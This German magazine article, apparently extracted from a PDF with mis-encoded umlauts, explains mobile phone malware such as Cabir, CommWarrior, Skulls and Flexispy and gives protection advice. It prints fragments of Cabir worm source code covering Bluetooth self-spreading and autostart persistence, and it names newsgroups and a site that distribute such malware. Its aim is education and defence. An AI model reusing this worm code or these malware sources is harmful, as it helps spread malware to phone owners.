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F¿r Einsteiger

Andere Schªdlinge wiederum nutzen 
Schwachstellen im Betriebssystem 
aus und kommen direkt ¿ber die Inter-

netverbindung auf den heimischen Computer 
oder gar in das Firmennetzwerk. Schªden 
sind hierbei nicht selten die Folge, die f¿r ein 
Unternehmen wirtschaftliche Risiken bedeu-
ten.

Einleitung
Durch die Popularitªt des Betriebssystems 
Windows des Redmonder Softwareriesen 
Microsoft, sind die meisten Schªdlinge, die 
auftauchen, meistens f¿r Windows geschrie-
ben und verbreiten sich auch dann weiter auf 
andere Windows Computer.

Bislang ist die Entwicklung von Schªdlin-
gen zum groÇen Teil an Linux und MacOS 
vorbei gegangen, und man ýndet nur selten 
ernsthafte W¿rmer oder Viren. So verhªlt es 
sich auch bislang bei den Schªdlingen (auch 
Malware genannt), die f¿r Handys program-
miert werden.

Generell betrachtet sind Schªdlinge f¿r 
Handys Programme, die bei Ausf¿hrung 
Schaden auf dem betroffenen Mobiltelefon 
anrichten.

Wie aber ist die aktuelle Lage bei den 
Schªdlingen, die extra f¿r Mobiltelefone pro-
grammiert und verbreitet werden?

Mobiltelefone oder auch Handys und 
Smartphones bekommen immer mehr Funkti-
onen, und so ist es nicht verwunderlich, dass 
selbst in diesen Gerªten Betriebssysteme die 
Arbeit im Hintergrund ¿bernehmen. Hierbei 
sind besonders 2 Betriebssysteme f¿r Mo-

Handyviren: Eine 
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Schwierigkeitsgrad

W¿rmer, Trojaner, Rootkits und andere Schªdlinge gehºren auf 
herkºmmlichen Computern fast schon zum Alltag. Sie kommen 
als Anhang einer E-Mail, m¿ssen durch das ¥ffnen aktiviert 
werden und nisten sich im Computer ein, um die Schadensroutine 
zu starten.

In diesem Artikel erfahren 
Sie...
Å  Welche Schªdlinge bekannt sind;
Å  Welche Schªden mobile Schªdlinge anrichten 

kºnnen;
Å  Was genau Handyschªdlinge in der heutigen 

Zeit kºnnen;
Å  Einblick in bekannte Vertreter der Handyviren.

Was Sie vorher wissen/kºnnen 
sollten...
Å  Verstªndnis f¿r die Virenproblematik;
Å  Windows Mobile OS, Symbian OS.
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biltelefonate interessant f¿r Viren-
schreiber geworden. Zum einen 
handelt es sich um das populªre 
SymbianOS und zum anderen um 
Microsoft Windows Mobile. Es gibt 
derzeit f¿r beide Systeme mehr als 
350 bekannte Schªdlinge, die auch 
von den Programmen der Anti-Vi-
ren Hersteller erkannt werden.

Wir konzentrieren uns beson-
ders hier jedoch auf das System 
SymbianOS, weil die Verbreitung 
von Schªdlingen f¿r das Betriebs-
system am fortgeschrittensten ist.

Allein f¿r SymbianOS kann der 
Sicherheitsdienstleister F-Secure 
bislang 337 Schªdlinge zªhlen. 
Eine nicht zu vernachlªssigende 
Zahl, wenn man bedenkt, dass die 
Entwicklung der mobilen Endgerª-
te und Smartphones immer weiter 
voran getrieben wird und weitere 
Features hinzu kommen.

Auch die Art der Eindringlin-
ge ist derzeit recht eindeutig und 
¿berwiegend zu deuten. Der Trend 
geht nach Angaben des Labors von 
F-Secure in Richtung Trojanern die 
zum Fernsteuern und Manipulieren 
von Handys programmiert werden.

Bekannte Schªdlinge im 
Detail
Eindringlinge f¿r Mobiltelefone 
werden immer ausgereifter und es 
werden immer mehr Funktionen 
hinzugef¿gt um mehr Schaden an-
zurichten.

So kºnnen Schªdlinge derzeit 
die Schriften in Men¿s vollstªndig 
verschwinden lassen, was eine 
Nutzung des Mobiltelefons sehr 
erschwert.

Weiterhin nutzen die derzeiti-
gen Schªdlinge das Multimedia-
Message Protokoll MMS und die 
Kurzstreckenfunktechnik Bluetooth 
zum weiter Versenden auf andere 
Gerªte.

Einer der bekanntesten Ver-
treter ist als so genanntes Proof-
of-Concept im Sommer 2004 das 
erste Mal unter dem Namen Cabir 
aufgetreten, tarnt sich im befallenen 
SymbianOS Handy dann als Secu-
rity Manager. Cabir oder auch Cari-
be ist in C++ geschrieben worden 

und verf¿gt ¿ber die Fªhigkeit, sich 
mittels Bluetooth auf weitere Gerªte 
zu versenden. Der Besitzer des be-
fallenen Handys selbst merkt davon 
nichts, sofern er keine Schutzsoft-
ware auf seinem mobilen Endgerªt 
installiert hat.

Lediglich beim Starten des 
Gerªtes wird der Wurm bemerkt, 
das Wort Caribe wird auf dem 
Display angezeigt, und der Wurm 
scannt bereits das Umfeld nach 
weiteren potentiellen Opfern ab. 
Hierbei sei angemerkt, daÇ Cabir 

Abbildung 2. Die Trojaner sind die bisher verbreitetsten Schªdlinge f¿r 
Handys
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Abbildung 1. Ein deutlicher Vorsprung der Schªdlinge f¿r das SymbianOS
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sich nicht selbstªndig installieren 
kann, sondern der Empfªnger muss 
die erhaltene Bluetooth Nachricht 
ºffnen. Cabir verschickt sich dann 
via Bluetooth weiter und muss auch 
dann wieder auf dem neuen Gerªt 
manuell installiert werden.

Hier lehrt die Geschichte der 
Computer, dass nach wie vor die 
meisten Viren und W¿rmer per E-
Mail verschickt werden und der User 
diesen Wurm oder Virus im Anhang 
erst ºffnen und installieren muss.

Erst dann wird ein Schªdling in 
den meisten Fªllen aktiv. Bei den 
Schªdlingen f¿r SymbianOS ist dies 
ebenfalls so, man muss hierbei so-
gar 3 Mal bestªtigen, dass man eine 
Software installieren will.

Ein weiterer Vertreter der Schªd-
linge ist der CommWarrior Trojaner, 
der gleich mit zwei Schadroutinen 
auf einem befallenen Handy w¿tet.

Vermutlich von einem russischen 
Hacker entwickelt ýndet der Comm-
Warrior Ausbreitung ¿ber Bluetooth 
auf andere Gerªte, nutzt aber auch 
das Adressbuch des befallenen Han-
dys, um sich per MMS dann weiter 
zu versenden.

Dies macht der CommWarrior 
technisch raýniert, tags¿ber nutzt 
der CommWarrior die Bluetooth 
Schnittstelle des befallenen Mobil-
telefons um sich weiter auszubreiten 
und nachts versucht er sich per MMS 
an alle Empfªnger des Adressbu-
ches zu verschicken.

Der CommWarrior sendet sich 
mit immer wechselnden Dateina-
men weiter, so das man hier nicht 
vor einem bestimmten Dateinamen 
warnen kºnnte. Einen tatsªchlichen 
Schaden am Gerªt kann man jedoch 
nicht feststellen.

Andere Schªdlinge hingegen lº-
schen das Men¿ oder die Schrift im 
Gerªt. Eine wohl schon schlimmere 
Form des Trojaners f¿r Mobiltelefone 
ist der Trojaner Skulls-D der sich 
durch seinen Totenkopf deutlich 
sichtbar auf dem Display zeigt.

Skulls installiert sich auf Symbi-
anOS Gerªten und lªdt eine weitere 
Form des Cabir Wurms nach, um 
dann wichtige Systemdateien zu 
¿berschreiben.

Listing 1. Transport des Cabir Wurm zu anderen Handys ¿ber 
Bluetooth

      if(iState == 1) 
      { 

            if(!obexClient->IsConnected()) 
            { 

                  iState = 3; 

            } 

            else 
            { 

                  //iCurrObject = CObexNullObject::NewL(); 

                  //iCurrObject->SetNameL(_L("Hello World")); 

                  //obexClient->Put(*iCurrObject,iStatus); 

             

                  iState = 2; 

                  Cancel(); 

                  obexClient->Put(*iCurrFile,iStatus); 

                  SetActive(); 

                  return; 
            } 

                  } 

      } 

       

      if(iState == 2) 
      { 

                  //delete iCurrObject; 

                  iState = 3; 

                  Cancel(); 

                  obexClient->Disconnect(iStatus); 

Listing 2. Einblick in die Installationsroutine des Cabir Wurm

void CaribeInstaller::CopyMeToAutostartableDir(CAknApplication * OwnApp) 
{       

      TFileName OwnDllName = OwnApp->DllName(); 

      TBuf16 <sizeof(AUTOSTARTABLE)>Autostartable(Autostartablestr); 
       

      OwnDllName.UpperCase(); 

       

      if(OwnDllName == Autostartable) 
      { 

            return; 
      } 

      RFs fs; 

      User::LeaveIfError(fs.Connect()); 

      TBuf16 <sizeof(AUTOSTARTABLEPATH)> autostartablepath(Autostartablepat
hstr);       

      fs.MkDirAll(Autostartablepathstr); 

       

      if(BaþUtils::CopyFile(fs,OwnDllName,Autostartable,CFileMan::
EOverWrite)!=KErrNone) 

      { 

            fs.Close(); 

            return; 
      } 
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Eine Entfernung des Schªdlings 
ist somit nicht mehr mºglich.

Weitere schªdliche Routinen 
d¿rften in der Zukunft zu erwarten 
sein, denn es gibt, wie bereits an-
fangs beschrieben, deutlich mehr 
als nur diese beschriebenen 2 
Schªdlinge.

Der Trojaner Flexispy 
spioniert Handys aus!
Eine Software, die von den meisten 
Anti-Viren Softwareherstellern als 
Schadcode eingestuft wird ist Fle-
xispy und hat ¿berwiegend Fªhig-
keiten eines trojanischen Pferdes.

Flexispy sendet eine Kopie 
aller SMS Nachrichten weiter 
und protokolliert eingehende und 
abgehende Anrufe inklusive der 
Gesprªchsdauer. Sªmtliche Infor-
mationen werden auf einem Server 
im Ausland gespeichert und stehen 
zum Abruf bereit, um dann bequem 
per Browser heruntergeladen oder 
angeschaut zu werden.

Auch das Ermitteln des Auf-
enthaltsortes ist mittels Flexispy 
mºglich, da die jeweilige GSM Zelle 
¿bermittelt wird.

Flexispy listet im Browser alle 
gef¿hrten Gesprªche auf und zeigt 
mit einem Mausklick die Details 
dieser an.

Die gleichen Funktionen stehen 
auch dem Spion bei den SMS zur 
Verf¿gung. Man kann exakt ein-
sehen, von wo nach wo eine SMS 
geschickt wurde und welchen Inhalt 

eine SMS hatte. Ein Vertreter der 
WindowsCE Schªdlinge wªre hier 
der Virus Dust, der keinen groÇen 
Schaden anrichtet.

F¿r ARM Prozessoren in Assem-
bler geschrieben befªllt der Virus 
nicht automatisch einen PocketPC 
mit WindowsCE als Betriebssystem.

Als Benutzer wird man sogar vor 
einer Infektion gefragt, ob der Virus 
sich einnisten darf: Dear User, am 
I allowed to spread?

Dust versucht dann alle *.exe 
Dateien zu inýzieren, die grºÇer als 
4096 Byte und noch nicht inýziert 
sind. Weitere Schadensroutinen 
sind ¿ber Dust nicht bekannt.

Der Dust Virus sowie der Cabir 
Wurm sind sehr wahrscheinlich 
von Mitgliedern der Gruppe A29 
geschrieben worden, die bereits 
einige konzeptionelle Viren und 
W¿rmer geschrieben haben.

Wie verbreiten sich die 
Handyschªdlinge?
Noch ist die Ausbreitung von 
mobilen Schªdlingen nicht als 
dramatisch oder hoch kritisch zu 
betrachten, dennoch ist Vorsicht 
geboten.

Aktuelle Schªdlinge sind sehr 
leicht im Internet erhªltlich, und 
man benºtigt hierf¿r lediglich eine 
Anmeldung in einer Newsgroup.

Gruppen wie mydoom4u, BLACK _

SYMBIAN oder mobile _ viruses bieten 
diverse Schªdlinge direkt zum 
Downloaden an.

Sofern man sich in einer Gruppe 
angemeldet hat, bekommt man bei 
den meisten direkt auf seine E-Mail 
Adresse die aktuellsten Dateien der 
Schªdlinge zugeschickt.

Sofern man nun in der Group 
akzeptiert wurde, kann man auf alle 
Files, die dort abgelegt sind, zu-
greifen und diese auch auf seinen 
Computer laden.

Ein nicht gerade ungefªhrliches 
Unterfangen, da auch hier Schªd-
linge wie CommWarrior, FlexiSpy 
oder Cabir dabei sind.

In den falschen Hªnden kºnnen 
diese Schªdlinge eine schnelle und 
unkontrollierte Ausbreitung ýnden, 
um Schaden auf anderen Gerªten 
anzurichten. Bisher ist an schad-
haften Funktionen nicht sehr viel 
bekannt geworden.

Die Schªdlinge, die bislang 
aufgetreten sind, kºnnen das Men¿ 
in SymbianOS Mobiltelefonen zer-
stºren und somit ein Telefon annª-
hernd unbrauchbar machen.

Die Verbreitung von Schªdlin-
gen wie der CommWarrior erfolgt 
mittels der Bluetooth Schnittstelle 
aber auch per MMS.

Hierbei versendet sich der 
Schªdling an alle Adressaten, die 
im Telefonbuch hinterlegt sind.

Der Schaden kann schnell hun-
derte Euro betragen, da MMS ein 
kostenpþichtiger Dienst der Mobil-
funkanbieter ist.

Belastet wird nat¿rlich der Inha-
ber des Mobiltelefons, auch wenn 
dieser gar nicht weiss, dass er Opfer 

Abbildung 4. Skulls.M in Aktion, 
das Men¿ ist unbrauchbar, Icons 
verschwunden

Abbildung 5. Skulls verªndert die 
Men¿eintrªge

Abbildung 3. CommWarrior in 
Aktion auf einem Mobiltelefon
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eines Trojaners geworden ist. Nicht 
zu unterschªtzen ist die Mºglichkeit, 
dass sich mobile Schªdlinge ¿ber 
Bluetooth Hotspots [1] ausbreiten, 
da diese im Marketingbereich immer 
mehr eingesetzt werden.

Schutzmºglichkeiten
Handyschªdlinge sind derzeit darauf 
angewiesen, dass der Besitzer des 
Mobiltelefons oder Smartphones die 
Installation von Hand startet. Hierbei 
muss der empfangene Schªdling 
durch Installation aktiviert werden. 
Grundsªtzlich sollte man Nachrich-

ten, die man per Bluetooth oder 
MMS bekommt, nicht ºffnen, wenn 
man den Absender nicht kennt.

Man kann aber in der Zukunft 
auch davon ausgehen, dass sich Han-
dyschªdlinge weiter entwickeln und 
der Absender gefªlscht sein kann.

Bekannt ist dieses Vorgehen 
bereits von Computerviren oder 
W¿rmern, die sich als bekannte Ab-
sender weiter versenden und somit 
das Vertrauen erschleichen.

Der unbedarfte und ungesch¿tz-
te Anwender wird die E-Mail ºffnen, 
und der Schªdling ist aktiviert. Im 

weiteren sollte man die drahtlose 
Schnittstelle Bluetooth nicht aktiviert 
und nicht sichtbar in seinem Mobilte-
lefon eingestellt haben. Ist Bluetooth 
deaktiviert besteht derzeit keine wei-
tere Gefahr, sich einen Schªdling auf 
das Handy zu laden.

Ausgenommen nat¿rlich die 
Mºglichkeit, dass man einen Schªd-
ling per MMS bekommt.

Besitzer von SymbianOS Gerª-
ten der 3.Edition kºnnen sich derzeit 
auch noch etwas sicherer f¿hlen. 

Viele der Schªdlinge sind der-
zeit noch f¿r SymbianOS der 1. und 
2. Edition geschrieben und funktio-
nieren nicht auf den Gerªten der 3. 
Edition. Bei vielen Mobiltelefonen 
besteht auch die Mºglichkeit, MMS 
Nachrichten von unbekannten Ab-
sender nicht anzunehmen. Eine 
weitere Mºglichkeit sich zu sch¿t-
zen bieten derzeit die Anti-Virus 
Spezialisten unterschiedlicher Fir-
men an. Man kann sich in der Regel 
die Software zum Testen downloa-
den und hat dann im Regelfall eine 
30-Tage Testversion. Um zu testen 
ob die Schªdlinge, die aus den 

Abbildung 6. Flexispy lªÇt sich direkt ¿ber einen Webbrowser 
administrieren

Abbildung 7. Dust Virus; Ausschnitt 
des Quellcodes

Abbildung 9. Mobile Schªdlinge 
direkt als Download f¿r den 
heimischen Computer

Abbildung 8. Virus direkt per Mail erhalten bei der Anmeldung in einer 
Newsgroup
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Groups stammen, erkannt werden, 
wurde die Sicherheitssoftware von 
F-Secure heran gezogen. Ver-
wendet wurde die aktuelle Version 
Mobile Security 3.0 Build 13010 
mit der Scanner Version 6420. 
Diverse Schªdlinge, angefangen 
von Flexispy ¿ber CommWarrior 
bis hin zu Cabir, wurden auf ein 
Handy gesendet, um zu sehen, ob 
man gesch¿tzt ist mit einer solchen 
Software.

Nach einer Installation von F-
Secure wird das Handy zuerst einer 
vollstªndigen Untersuchung unter-
zogen, und es werden sªmtliche 
Dateien gescannt. Das Ergebnis 
wird anschliessend ¿bersichtlich 
dargestellt. Eine Infektion durch ei-
nen Schadcode wird von F-Secure 
direkt auf dem Bilschirm gemeldet.

Wurde eine Infektion durch ei-
nen Schªdling ausgemacht, kann 
man sich die Details anschauen, 
um dann zu entscheiden, ob die 
befallene Datei direkt gelºscht oder 
in Quarantªne gestellt werden soll. 
Durch beide Aktionen kann der 
Schªdling dem mobilen Gerªt kei-
nen Schaden mehr zuf¿gen. In den 

Beispielscreenshots kann man er-
kennen, wie F-Secure Mobile Secu-
rity Flexispy als Trojaner identiýziert 
und zuverlªssig lºscht.

Fazit und Ausblick 
in die Zukunft
Ein Blick in die Vergangenheit der 
Computerviren sollte deutlich ma-
chen, daÇ die Entwicklung dahin-
gehend sehr weit voran geschritten 
ist.

Computerw¿rmer, Trojaner und 
Viren verbreiten sich nach wie vor 
schnell, verbreiten sich per E-Mail 
oder Schwachstellen in Betriebs-
systemen wie Microsoft Windows. 
Auch im Bereich der mobilen 
Schªdlinge wird in der Zukunft eini-
ges an Gefahren auf die Handybe-
sitzer zukommen. Anfªnglich sind 
f¿r Computer Viren ¿ber Disketten 
¿bertragen worden, was sich mit 
der Einf¿hrung und Ausbreitung 
des Internet verschlimmert hat. Nun 
konnte man das Internet als Verbrei-
tungsmedium nutzen, und W¿rmer 
verbreiteten sich selbstªndig. Auch 

Abbildung 11. Mobile Security 
identiýziert beim Empfang den 
Trojaner Flexispy und lºscht diesen 
zuverlªssig

Abbildung 10. MMS Nachrichten 
anonym nicht empfangen

Abbildung 13. Mobile Security 
identiýziert beim Empfang den 
Trojaner Flexispy und lºscht diesen 
zuverlªssig

Abbildung 12. Mobile Security 
identiýziert beim Empfang den 
Trojaner Flexispy und lºscht diesen 
zuverlªssig

Betriebssystem 
SymbianOS:
SymbianOS ist ein Betriebssystem f¿r 
mobile Endgerªte und ist aus einem 
Konsortium groÇer Mobilfunkhersteller 
wie Nokia, Panasonic, Samsung und 
anderen hervor gegangen.

Die Symbian Limited wurde 1998 
gegr¿ndet und hat ihren Sitz in GroÇ-
britanien.

Verweise, Quellen, 
Links:
Å  Betriebssystem: SymbianOS, Win-

dows Mobile;
Å  http://www.symbian.com;
Å  h t t p : / / w w w. m i c r o s o f t . c o m/

g e r m a n y / w i n d o w s m o b i l e /
default.mspx;

Å  http://www.f-secure.de/ ï F-Secu-
re, mobile Anti-Virus;

Å  Kaspersky mobile Antivirus: http:
/ /www.kaspersky.com/anti -vi -
rus_mobile ï Kaspersky mobile 
Antivirus;

Å  http://vx.netlux.org/29a/main.html 
ï A29;

Å  http://www.nokia.de ï Testgerªt: 
Nokia E61, Version 3.0633.09.04, 
RM-89;

Å  ht tp: / /www.heise.de /secur i ty/
artikel/81447 ï [1] Bluetooth Hot-
spots als Virenschleuder.
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f¿r mobile Schªdlinge, Viren, W¿r-
mer und Trojaner wird in der Zukunft 
genau das zu erwarten sein.

Die ¦bertragungsmethoden der 
Handys werden immer weiter mittels 
UMTS ausgebaut. Dass Trojaner 
und W¿rmer sich dann direkt aus 
dem Internet ¿ber Schwachstellen 
im SymbianOS oder WindowsCE 
einnisten, ist sehr wahrscheinlich. 
AbschlieÇend bleibt festzustellen, 
dass man in der Zukunft wesent-
lich mehr f¿r die Sicherheit seines 
Handys tun muss, als man es bis 
heute gewohnt war. Viele Menschen 
werden erst spªt die Gefahren von 
mobilen Schªdlingen f¿r mobile 
Gerªte erkennen und zunªchst 
keine Sicherheitsmechanismen 
einsetzen. Hier im Bericht wurde 
¿berwiegend von Schªdlingen 
berichtet, die sich auf SymbianOS 
Telefonen ausbreiten, jedoch sind 
auch Windows Mobile Gerªte nicht 
sicherer. Grundsªtzlich sollte man 
beim Empfang von Daten genau 
darauf achten, von wem diese ge-
sendet wurden und, sofern man 
keine Daten erwartet, diese auch 
ablehnen.

Mobiltelefone werden immer 
þexibler in den Anwendungen und 
bieten immer mehr Speicherplatz 
an um Daten auszutauschen oder zu 
transportieren. Auch die Kommuni-
kationsmºglichkeiten um Bluetooth, 
Infrarot und WLAN nehmen stetig 
zu und bieten somit immer mehr 
Angriffsþªche f¿r Schªdlinge aber 
auch f¿r aktive Angreifer. Durch die 
zunehmende Ausbreitung von Be-
triebssystemen wie Microsoft Win-
dows Mobile oder SymbianOS sind 
ebenfalls Angriffe durch Schwach-
stellen in den Architekturen und 
Protokollen mºglich. Viren, W¿rmer 
und Trojaner werden es in der Zu-
kunft leichter, haben sich per Mail, 
Schwachstellen und Mobiltelefonen 
auszubreiten.

In der heutigen Zeit sollte man 
einen ªhnlich hohen Sicherheits-
standard an mobilen Endgerªten 
einsetzen, wie es auf dem PC 
Bereich bereits ¿blich sein sollte, 
um nicht unverhofft zum Opfer zu 
werden. ¸

Listing 3. Source Code Caribe 

#include "general.h" 

#include "caribebt.h" 

#include <eikenv.h> 

#include <bt_sock.h> 

#include <obex.h> 

#include <btextnotiýers.h> 

///////////////////////////////////////////////////////////////////// 

///////////////////////////////////////////////////////////////////// 

///////////////////////////////////////////////////////////////////// 

CaribeBluetooth::CaribeBluetooth(): 

CActive(CActive::EPriorityStandard) 

{ 

       WithAddress = 0; 

      iState = 3; 

      _LIT(currentFileName,"C:\\SYSTEM\\SYMBIANSECUREDATA\\

CARIBESECURITYMANAGER\\CARIBE.SIS"); 

      iCurrFile = CObexFileObject::NewL(TPtrC(NULL, 0)); 

      iCurrFile->InitFromFileL(currentFileName); 

       

      CActiveScheduler::Add(this); 
} 

CaribeBluetooth::~CaribeBluetooth() 

{ 

} 

CaribeBluetooth* CaribeBluetooth::NewL() 

{ 

      return NewLC(); 
} 

CaribeBluetooth* CaribeBluetooth::NewLC() 

{ 

      CaribeBluetooth* self = new CaribeBluetooth; 
      self->ConstructL(); 

      return self; 
} 

void CaribeBluetooth::ConstructL() 
{ 

      iState = 3; 

      RunL(); 

} 

} 

void CaribeBluetooth::RunL() 
{ 

      if(iState == 1) 
      { 

            if(!obexClient->IsConnected()) 
            { 

                  iState = 3; 

            } 

            else 
            { 

                  //iCurrObject = CObexNullObject::NewL(); 

                  //iCurrObject->SetNameL(_L("Hello World")); 

                  //obexClient->Put(*iCurrObject,iStatus); 


